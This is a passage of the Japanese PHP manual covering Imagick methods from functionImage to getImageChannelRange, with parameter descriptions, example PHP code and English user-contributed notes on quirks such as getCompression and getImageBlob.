header("Content-Type: image/png");
$imagick->setimageformat("png");
echo $imagick->getImageBlob();
?>

上の例の出力は、 たとえば以下のようになります。

例3 多項式 (4x^2 - 4x^2 + 1) をシヌソイドの勾配で変調した、複雑な勾配の作成

<?php
$imagick1 = new Imagick();
$imagick1->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(9, -90);
$imagick1->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

$imagick2 = new Imagick();
$imagick2->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(0.5, 0);
$imagick2->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);
$imagick1->compositeimage($imagick2, Imagick::COMPOSITE_MULTIPLY, 0, 0);

header("Content-Type: image/png");
$imagick1->setImageFormat("png");
echo $imagick1->getImageBlob();
?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

There are no user contributed notes for this page.


式を画像の各ピクセルに適用する

  • ≪ Imagick::functionImage
  • Imagick::gammaImage ≫
  • PHP Manual
  • Imagick
  • 式を画像の各ピクセルに適用する

Imagick::fxImage

(PECL imagick 2, PECL imagick 3)

Imagick::fxImage — 式を画像の各ピクセルに適用する

説明

public Imagick::fxImage ( string $expression , int $channel = Imagick::CHANNEL_DEFAULT ) : Imagick

式を画像の各ピクセルに適用します。 詳細は » The Fx Special Effects Image Operator を参照ください。

パラメータ

expression

式。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::fxImage()

<?php
function fxImage() {
    $imagick = new \Imagick();
    $imagick->newPseudoImage(200, 200, "xc:white");

    $fx = 'xx=i-w/2; yy=j-h/2; rr=hypot(xx,yy); (.5-rr/140)*1.2+.5';
    $fxImage = $imagick->fxImage($fx);

    header("Content-Type: image/png");
    $fxImage->setimageformat('png');
    echo $fxImage->getImageBlob();
}

?>

User Contributed Notes

thomasgf22 at NOSPAM dot gmail dot com 16-May-2014 02:00
Beware that fxImage return value's type is a new object(Imagick), opposing the current documentation (boolean). Therefore it does not affect the caller object. Example:
<?php
            $canvas = new Imagick();
            $canvas->newImage(256, 256, "white", "jpg");

            $gradient = new Imagick();
            $gradient->newPseudoImage(256, 256, "gradient:white-black");
            $canvas->compositeImage( $gradient, imagick::COMPOSITE_OVER, 0, 0 );
            $canvas->rotateImage(new ImagickPixel(), 90);
            /*instead of just $canvas->fxImage("floor(s*10+0.5)/10"); we must store fxImage()'s result*/
            $canvas= $canvas->fxImage("floor(s*10+0.5)/10");

            header( "Content-Type: image/jpg" );
            echo $canvas;
?>


画像をガンマ補正する

  • ≪ Imagick::fxImage
  • Imagick::gaussianBlurImage ≫
  • PHP Manual
  • Imagick
  • 画像をガンマ補正する

Imagick::gammaImage

(PECL imagick 2, PECL imagick 3)

Imagick::gammaImage — 画像をガンマ補正する

説明

public Imagick::gammaImage ( float $gamma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像をガンマ補正します。同じ画像でも、 異なるデバイス上で見ると見た目が変わることがあります。 これは、画面上に画像の輝度を表現する方法がことなるためです。 赤、緑、青の各チャネルに個別のガンマレベルを指定するか、 あるいはすべてのチャネルに共通のガンマレベルを指定します。 値の典型的な範囲は、0.8 から 2.3 の間となります。

パラメータ

gamma

ガンマ補正の量。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::gammaImage()

<?php
function gammaImage($imagePath, $gamma, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->gammaImage($gamma, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

majidted at gmail dot com 19-Mar-2018 12:59
You should use PECL to install this library. Or if you are using composer like me, you should use this packagist package or the similar packages:

"https://packagist.org/packages/tpmanc/yii2-imagick"


画像をぼかす

  • ≪ Imagick::gammaImage
  • Imagick::getColorspace ≫
  • PHP Manual
  • Imagick
  • 画像をぼかす

Imagick::gaussianBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::gaussianBlurImage — 画像をぼかす

説明

public Imagick::gaussianBlurImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像をぼかします。 指定した半径と標準偏差 (シグマ) によるガウス演算によって画像を畳み込みます。 意味のある結果を得るには、半径がシグマより大きくなければなりません。 radius に 0 を指定すると、適切な半径を自動的に設定します。

パラメータ

radius

ガウス演算の半径。ピクセル単位で指定し、中心は計算に入れません。

sigma

ガウス演算の標準偏差。ピクセル単位で指定します。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::gaussianBlurImage()

<?php
function gaussianBlurImage($imagePath, $radius, $sigma, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->gaussianBlurImage($radius, $sigma, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


色空間を取得する

  • ≪ Imagick::gaussianBlurImage
  • Imagick::getCompression ≫
  • PHP Manual
  • Imagick
  • 色空間を取得する

Imagick::getColorspace

(PECL imagick 3)

Imagick::getColorspace — 色空間を取得する

説明

public Imagick::getColorspace ( ) : int

グローバル色空間の値を取得します。 このメソッドは、ImageMagick バージョン 6.5.7 以降で Imagick をコンパイルした場合に使用可能です。

返り値

整数値を返します。この値を COLORSPACE 定数 と比較することができます。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトの圧縮形式を取得する

  • ≪ Imagick::getColorspace
  • Imagick::getCompressionQuality ≫
  • PHP Manual
  • Imagick
  • オブジェクトの圧縮形式を取得する

Imagick::getCompression

(PECL imagick 2, PECL imagick 3)

Imagick::getCompression — オブジェクトの圧縮形式を取得する

説明

public Imagick::getCompression ( ) : int

オブジェクトの圧縮形式を取得します。

返り値

圧縮定数を返します。

User Contributed Notes

holdoffhunger at gmail dot com 16-May-2012 11:11
The ImageMagick PHP function for getCompression returns an integer representing the value associated with the ImageMagick Compression constant.  You'll get numbers from 0 to 13, each representing a different particular type of compression.  If printed out, the ImageMagick constants for compression come out as...

imagick::COMPRESSION_UNDEFINED    0
imagick::COMPRESSION_NO    1
imagick::COMPRESSION_BZIP    2
imagick::COMPRESSION_DXT1    3
imagick::COMPRESSION_DXT3    4
imagick::COMPRESSION_DXT5    5
imagick::COMPRESSION_FAX    6
imagick::COMPRESSION_GROUP4    7
imagick::COMPRESSION_JPEG    8
imagick::COMPRESSION_JPEG2000    9
imagick::COMPRESSION_LOSSLESSJPEG    10
imagick::COMPRESSION_LZW    11
imagick::COMPRESSION_RLE    12
imagick::COMPRESSION_ZIP    13

Every time I have used this, whether on a jpeg image, a png image, a gif image, or a bmp image, it has always returned '0' as a value.  There's a good chance that this is simply a value that is set by means of get/set, as opposed to actually producing values for a given image.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_compression = $imagick_type->getCompression();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_compression);
    print("</pre>");

?>


オブジェクトの圧縮品質を取得する

  • ≪ Imagick::getCompression
  • Imagick::getCopyright ≫
  • PHP Manual
  • Imagick
  • オブジェクトの圧縮品質を取得する

Imagick::getCompressionQuality

(PECL imagick 2, PECL imagick 3)

Imagick::getCompressionQuality — オブジェクトの圧縮品質を取得する

説明

public Imagick::getCompressionQuality ( ) : int

オブジェクトの圧縮品質を取得します。

返り値

圧縮品質を表す整数値を返します。

User Contributed Notes

There are no user contributed notes for this page.


ImageMagick API の著作権情報を文字列で返す

  • ≪ Imagick::getCompressionQuality
  • Imagick::getFilename ≫
  • PHP Manual
  • Imagick
  • ImageMagick API の著作権情報を文字列で返す

Imagick::getCopyright

(PECL imagick 2, PECL imagick 3)

Imagick::getCopyright — ImageMagick API の著作権情報を文字列で返す

説明

public static Imagick::getCopyright ( ) : string

ImageMagick API の著作権情報を文字列で返します。

返り値

Imagemagick および Magickwand C API の著作権情報を含む文字列を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像シーケンスに関連付けられたファイル名を取得する

  • ≪ Imagick::getCopyright
  • Imagick::getFont ≫
  • PHP Manual
  • Imagick
  • 画像シーケンスに関連付けられたファイル名を取得する

Imagick::getFilename

(PECL imagick 2, PECL imagick 3)

Imagick::getFilename — 画像シーケンスに関連付けられたファイル名を取得する

説明

public Imagick::getFilename ( ) : string

画像シーケンスに関連付けられたファイル名を取得します。

返り値

成功した場合に文字列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

SkepticaLee 18-Nov-2015 04:10
This function is obviously deprecated as it only returns a zero-length string. The file name (with complete path) is returned by getImageFilename () instead.


フォントを取得する

  • ≪ Imagick::getFilename
  • Imagick::getFormat ≫
  • PHP Manual
  • Imagick
  • フォントを取得する

Imagick::getFont

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::getFont — フォントを取得する

説明

public Imagick::getFont ( ) : string

オブジェクトのフォントプロパティを返します。 このメソッドは、ImageMagick バージョン 6.3.7 以降で Imagick をコンパイルした場合に使用可能です。

返り値

フォント名を表す文字列を返します。フォントが設定されていない場合は false を返します。

参考

  • Imagick::setFont() - フォントを設定する
  • ImagickDraw::setFont() - テキストによる注記を行う際に使用するフォントを設定する
  • ImagickDraw::getFont() - フォントを返す

User Contributed Notes

There are no user contributed notes for this page.


Imagick オブジェクトのフォーマットを取得する

  • ≪ Imagick::getFont
  • Imagick::getGravity ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトのフォーマットを取得する

Imagick::getFormat

(PECL imagick 2, PECL imagick 3)

Imagick::getFormat — Imagick オブジェクトのフォーマットを取得する

説明

public Imagick::getFormat ( ) : string

Imagick オブジェクトのフォーマットを返します。

返り値

画像フォーマットを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Test 01-May-2019 01:08
This example doesn't work for the files that have been incorrectly saved or corrupted and have (jpg extension but the image is png)
holdoffhunger at gmail dot com 17-May-2012 11:02
The getFormat function merely returns the value of the image format, which is not automatically loaded when you read an image.  The value you're getting back, then, is merely the value that you set the format to using the setFormat function.  That function takes pretty much any string that matches a popular or well-known image filename.  It accepts "jpeg" and "gif", but errors out on anything that is not an image filename, like "xyz123" or "zip".  How do you know what filetypes you can enter?  Use the PHP ImageMagick function 'queryFormats'.  If you want to know what type of file you have, you should try using the PHP page for the function 'filetype'.  Or, on the other hand, you can use the ImageMagick function getImageFormat (as opposed to the ImageMagick function getFormat).  The difference is that getImageFormat actually returns the format of the inputted image.

And now, a simple demonstration of the set/get activity in the Format :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Set/Get Format
        // ---------------------------------------------

    $imagick_type->setFormat("bmp");
    $imagick_type_format = $imagick_type->getFormat();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print($imagick_type_format);
    print("</pre>");

?>


gravity を取得する

  • ≪ Imagick::getFormat
  • Imagick::getHomeURL ≫
  • PHP Manual
  • Imagick
  • gravity を取得する

Imagick::getGravity

(PECL imagick 2, PECL imagick 3)

Imagick::getGravity — gravity を取得する

説明

public Imagick::getGravity ( ) : int

Imagick オブジェクトのグローバル gravity プロパティを取得します。 このメソッドは、ImageMagick バージョン 6.4.0 以降で Imagick をコンパイルした場合に使用可能です。

返り値

gravity プロパティを返します。 gravity 定数 の一覧を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


ImageMagick のホーム URL を返す

  • ≪ Imagick::getGravity
  • Imagick::getImage ≫
  • PHP Manual
  • Imagick
  • ImageMagick のホーム URL を返す

Imagick::getHomeURL

(PECL imagick 2, PECL imagick 3)

Imagick::getHomeURL — ImageMagick のホーム URL を返す

説明

public static Imagick::getHomeURL ( ) : string

ImageMagick のホーム URL を返します。

返り値

imagemagick のホームページへのリンクを返します。

User Contributed Notes

There are no user contributed notes for this page.


新しい Imagick オブジェクトを返す

  • ≪ Imagick::getHomeURL
  • Imagick::getImageAlphaChannel ≫
  • PHP Manual
  • Imagick
  • 新しい Imagick オブジェクトを返す

Imagick::getImage

(PECL imagick 2, PECL imagick 3)

Imagick::getImage — 新しい Imagick オブジェクトを返す

説明

public Imagick::getImage ( ) : Imagick

現在の画像シーケンスを使用した新しい Imagick オブジェクトを返します。

返り値

現在の画像シーケンスを使用した新しい Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のアルファチャネルを取得する

  • ≪ Imagick::getImage
  • Imagick::getImageArtifact ≫
  • PHP Manual
  • Imagick
  • 画像のアルファチャネルを取得する

Imagick::getImageAlphaChannel

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageAlphaChannel — 画像のアルファチャネルを取得する

説明

public Imagick::getImageAlphaChannel ( ) : int

画像のアルファチャネルの値を取得します。返される値は アルファチャネル定数 のいずれかとなります。 このメソッドは、ImageMagick バージョン 6.4.0 以降で Imagick をコンパイルした場合に使用可能です。

返り値

現在のアルファチャネル値を表す定数を返します。 アルファチャネル定数 の一覧を参照ください。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のアーチファクトを取得する

  • ≪ Imagick::getImageAlphaChannel
  • Imagick::getImageAttribute ≫
  • PHP Manual
  • Imagick
  • 画像のアーチファクトを取得する

Imagick::getImageArtifact

(PECL imagick 3)

Imagick::getImageArtifact — 画像のアーチファクトを取得する

説明

public Imagick::getImageArtifact ( string $artifact ) : string

画像に関連づけられたアーチファクトを取得します。プロパティとアーチファクトの違いは、 プロパティは public であるのに対してアーチファクトは private であるという点です。 このメソッドは、ImageMagick バージョン 6.5.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

artifact

アーチファクトの名前。

返り値

成功した場合にアーチファクトの値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

参考

  • Imagick::setImageArtifact() - 画像のアーチファクトを設定する
  • Imagick::deleteImageArtifact() - 画像のアーチファクトを削除する

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::getImageArtifact
  • Imagick::getImageBackgroundColor ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::getImageAttribute

(PECL imagick 2, PECL imagick 3)

Imagick::getImageAttribute — Description

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageAttribute ( string $key ) : string

Returns a named attribute.

パラメータ

key

The key of the attribute to get.

返り値

User Contributed Notes

There are no user contributed notes for this page.


画像の背景色を返す

  • ≪ Imagick::getImageAttribute
  • Imagick::getImageBlob ≫
  • PHP Manual
  • Imagick
  • 画像の背景色を返す

Imagick::getImageBackgroundColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBackgroundColor — 画像の背景色を返す

説明

public Imagick::getImageBackgroundColor ( ) : ImagickPixel

画像の背景色を返します。

返り値

画像の背景色を設定した ImagickPixel を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像シーケンスを blob で返す

  • ≪ Imagick::getImageBackgroundColor
  • Imagick::getImageBluePrimary ≫
  • PHP Manual
  • Imagick
  • 画像シーケンスを blob で返す

Imagick::getImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBlob — 画像シーケンスを blob で返す

説明

public Imagick::getImageBlob ( ) : string

画像フォーマットを直接記憶します。 これは、画像シーケンスを文字列で返します。 画像のフォーマットによって、返される blob の形式 (GIF, JPEG, PNG, など) が決まります。 別の画像フォーマットを返すには Imagick::SetImageFormat() を使用します。

返り値

画像を含む文字列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

Vee W 19-Apr-2016 06:29
For who want to show "animated" gif. This getImageBlob() will showing only one frame of image.
Use getImagesBlob() instead.

Example:

<?php
$Imagick = new \Imagick($real_source_image_path_animated_gif);
header("Content-Type: image/gif");
echo $Imagick->getImagesBlob();
?>
Trevor 01-Dec-2011 03:41
It seems that this method can return a zero-length string if faced with large-ish data.  No exceptions are thrown.

<?php
  $image = new Imagick();
  if (!$image->newImage(1000,1,'white')) throw new Exception();
  if (!$image->scaleImage(0,200)) throw new Exception();
  print "Image size: {$image->getImageWidth()},{$image->getImageHeight()}\n";
  if (!$image->setImageFormat("jpeg")) throw new Exception();
  $a = $image->getImageBlob();
  print "Rendered to ".strlen($a)." bytes\n";
?>

Restrict your output image size, or ensure that the blob you get back isn't empty.  (Note that IM seems to be doing the work, it delays for some time.  But there's no indication of any error anywhere.)


青が一番強い点を返す

  • ≪ Imagick::getImageBlob
  • Imagick::getImageBorderColor ≫
  • PHP Manual
  • Imagick
  • 青が一番強い点を返す

Imagick::getImageBluePrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBluePrimary — 青が一番強い点を返す

説明

public Imagick::getImageBluePrimary ( ) : array

青が一番強い点を返します。

パラメータ

x

青が一番強い点の x 座標。

y

青が一番強い点の y 座標。

返り値

"x" 座標および "y" 座標を含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の前景色を返す

  • ≪ Imagick::getImageBluePrimary
  • Imagick::getImageChannelDepth ≫
  • PHP Manual
  • Imagick
  • 画像の前景色を返す

Imagick::getImageBorderColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageBorderColor — 画像の前景色を返す

説明

public Imagick::getImageBorderColor ( ) : ImagickPixel

画像の前景色を返します。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


特定の画像チャネルの深度を返す

  • ≪ Imagick::getImageBorderColor
  • Imagick::getImageChannelDistortion ≫
  • PHP Manual
  • Imagick
  • 特定の画像チャネルの深度を返す

Imagick::getImageChannelDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelDepth — 特定の画像チャネルの深度を返す

説明

public Imagick::getImageChannelDepth ( int $channel ) : int

特定の画像チャネルの深度を返します。

パラメータ

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

User Contributed Notes

holdoffhunger at gmail dot com 06-May-2012 11:48
For undocumented functions, this is a particular oddity.  For me, this function has so far returned only two values for any particular image: 1 and 8.  And, after experimenting with it about forty or fifty times, I think I understand how it works, based simply on my experience.

The value returned is the number of bits used for the particular color channel within an image.  That means how variable a particular color is within an image.  While I received 1 and 8, it could theoretically be as much as 16 or 32, depending on how the technology evolves over, say, the next decade or so.

To best understand this function, you should probably also understand the ImageMagick function getColorValue.  In terms of the ImageMagick class, a color can be measured between 0 and 1, in terms in of a particular pixel.  Red, Green, Blue, or, any particular color of any color scheme, can be something like 0.501960784314.  But, since each pixel is a combination of the three colors, you can have 0.845 for red, 0.254 for green, and 0.11 for blue.

How does this all tie in with the getChannelDepth function?  Easy.  If all of the pixels in an image are either values 1 or values 0 for the particular Red/Green/Blue values, then this function will return a 1 for 1 bits per pixel for that color channel.  If, however, any single pixel in the image for the inputted channel parameter isn't exactly 1 or 0 for the particular color channel, then this function will return an 8 for 8-bit colors per pixel for that color channel.

If you receive back a 1 for every single color channel put in the parameter, that means you're dealing with an image that's 16-bit -- you know, like those computer games published in 1982, or the Atari console games.  You won't ever forget a 16-bit color green, trust me.  If you get back an 8 for every single color channel put in the parameter, that means you're dealing with any standard, modern image.

You can input any color channel, based on the channel constants available within the ImageMagick class.  See them here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .  That means a format like imagick::CHANNEL_UNDEFINED, but with the "_UNDEFINED" value being anything here: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.

For any image with one pixel color of RGB value 1 / 0.501960784314 / 0.501960784314 (#FF8080), you get this result:

Channel - 'Undefined' :        1
Channel - 'Red' :     1
Channel - 'Gray' :     1
Channel - 'Cyan' :     1
Channel - 'Green' :     8
Channel - 'Magenta' :     8
Channel - 'Blue' :     8
Channel - 'Yellow' :     8
Channel - 'Alpha' :     1
Channel - 'Opacity' :     1
Channel - 'Matte' :     1
Channel - 'Black' :     1
Channel - 'Index' :     1
Channel - 'All' :     8
Channel - 'Default' :     8

If all colors are between 0 and 1 with getColorValue function, each of these results with be 1.  If you're dealing with an image that has full color spectrum depth (almost any given photograph), you'll get 8 for red, gray, cyan, green, magenta, blue, yellow, all, and default, with a 1 for the other remaining channels.  Perhaps some use for automated image editing, like use with posterize or oilpaint functions.


画像のチャネルを再構築した画像と比較する

  • ≪ Imagick::getImageChannelDepth
  • Imagick::getImageChannelDistortions ≫
  • PHP Manual
  • Imagick
  • 画像のチャネルを再構築した画像と比較する

Imagick::getImageChannelDistortion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelDistortion — 画像のチャネルを再構築した画像と比較する

説明

public Imagick::getImageChannelDistortion ( Imagick $reference , int $channel , int $metric ) : float

ひとつあるいは複数のチャネルの内容を再構築した画像と比較し、 指定した歪み係数を返します。

パラメータ

reference

比較する Imagick オブジェクト。

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

metric

メトリック型定数 のいずれか。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


チャネルの歪みを取得する

  • ≪ Imagick::getImageChannelDistortion
  • Imagick::getImageChannelExtrema ≫
  • PHP Manual
  • Imagick
  • チャネルの歪みを取得する

Imagick::getImageChannelDistortions

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageChannelDistortions — チャネルの歪みを取得する

説明

public Imagick::getImageChannelDistortions ( Imagick $reference , int $metric , int $channel = Imagick::CHANNEL_DEFAULT ) : float

ひとつあるいは複数のチャネルの内容を再構築した画像と比較し、 指定した歪み係数を返します。 このメソッドは、ImageMagick バージョン 6.4.4 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

reference

比較する画像を含む Imagick オブジェクト。

metric

メトリック型定数 の一覧を参照ください。

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

チャネルの歪みを表す double 型の値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ひとつあるいは複数の画像チャネルの極値を取得する

  • ≪ Imagick::getImageChannelDistortions
  • Imagick::getImageChannelKurtosis ≫
  • PHP Manual
  • Imagick
  • ひとつあるいは複数の画像チャネルの極値を取得する

Imagick::getImageChannelExtrema

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelExtrema — ひとつあるいは複数の画像チャネルの極値を取得する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageChannelExtrema ( int $channel ) : array

ひとつあるいは複数の画像チャネルの極値を取得します。 返り値は連想配列で、"minima" および "maxima" というキーを含みます。

パラメータ

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


getImageChannelKurtosis

  • ≪ Imagick::getImageChannelExtrema
  • Imagick::getImageChannelMean ≫
  • PHP Manual
  • Imagick
  • getImageChannelKurtosis

Imagick::getImageChannelKurtosis

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageChannelKurtosis — getImageChannelKurtosis

説明

public Imagick::getImageChannelKurtosis ( int $channel = Imagick::CHANNEL_DEFAULT ) : array

指定したチャネルの尖度と歪度を取得します。このメソッドは、ImageMagick バージョン 6.4.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

kurtosis と skewness を要素に持つ配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 15-May-2012 11:52
The getImageChannelKurtosis function accepts as a parameter any of the ImageMagick channel constants and returns an array containing elements with the two element values of 'kurtosis' and 'skewness.'

For the inputted color values, you have the ImageMagick channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  This is for measuring the particular channel for these colors of their own associated colorspaces.

According to Wikipedia, the Kurtosis is "any measure of the 'peakedness' of the probability distribution of a real-valued random variable" and Skewness (its opposite) is "a measure of the asymmetry of the probability distribution of a real-valued random variable."  The more colors vary from the inputted channel constant, you'll be more likely to get a skewness close to zero, and you'll get the opposite behavior from checking the kurtosis value, which makes sense, since skewness and kurtosis are considered mathematical antonyms.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_channel_kurtosis_red = $imagick_type->getImageChannelKurtosis(imagick::CHANNEL_RED);

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_channel_kurtosis_red);
    print("</pre>");

?>

The results for performing this function upon a photo of the ocean...

ImageMagick - Channel Kurtosis
  Channel - Undefined :

Kurtosis : 0
Skewness : 0

  Channel - Red :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Gray :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Cyan :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Green :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Magenta :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Blue :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Yellow :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Alpha :

Kurtosis : 0
Skewness : 0

  Channel - Opacity :

Kurtosis : 0
Skewness : 0

  Channel - Matte :

Kurtosis : 0
Skewness : 0

  Channel - Black :

Kurtosis : 0
Skewness : 0

  Channel - Index :

Kurtosis : 0
Skewness : 0

  Channel - All :

Kurtosis : 0.509521246195
Skewness : 1.33491479552

  Channel - Default :

Kurtosis : -0.349955122843
Skewness : 1.00561407035


平均値と標準偏差を取得する

  • ≪ Imagick::getImageChannelKurtosis
  • Imagick::getImageChannelRange ≫
  • PHP Manual
  • Imagick
  • 平均値と標準偏差を取得する

Imagick::getImageChannelMean

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelMean — 平均値と標準偏差を取得する

説明

public Imagick::getImageChannelMean ( int $channel ) : array

ひとつあるいは複数の画像チャネルの平均値および標準偏差を取得します。

パラメータ

channel

チャネルモードに対応したチャネル定数を指定します。 複数のチャネルに適用するには、 ビット演算子でチャネル型定数を組み合わせます。 チャネル定数 の一覧を参照ください。

返り値

"mean" および "standardDeviation" というキーを含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


チャネルの範囲を取得する

  • ≪ Imagick::getImageChannelMean
  • Imagick::getImageChannelStatistics ≫
  • PHP Manual
  • Imagick
  • チャネルの範囲を取得する

Imagick::getImageChannelRange

(PECL imagick 2 >= 2.2.1, PECL imagick 3)

Imagick::getImageChannelRange — チャネルの範囲を取得する

説明

public Imagick::getImageChannelRange ( int $channel ) : array

ひとつあるいは複数のチャネルの範囲を取得します。 このメソッドは、ImageMagick バージョン 6.4.0 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

channel

そのモードで有効なチャネル定数を指定します。 複数のチャネルを適用するには、チャネル定数 をビット演算子で組み合わせます。デフォルトは Imagick::CHANNEL_DEFAULT です。 チャネル定数 の一覧を参照ください。

返り値

チャネルの minima および maxima の値を含む配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 07-May-2012 11:43
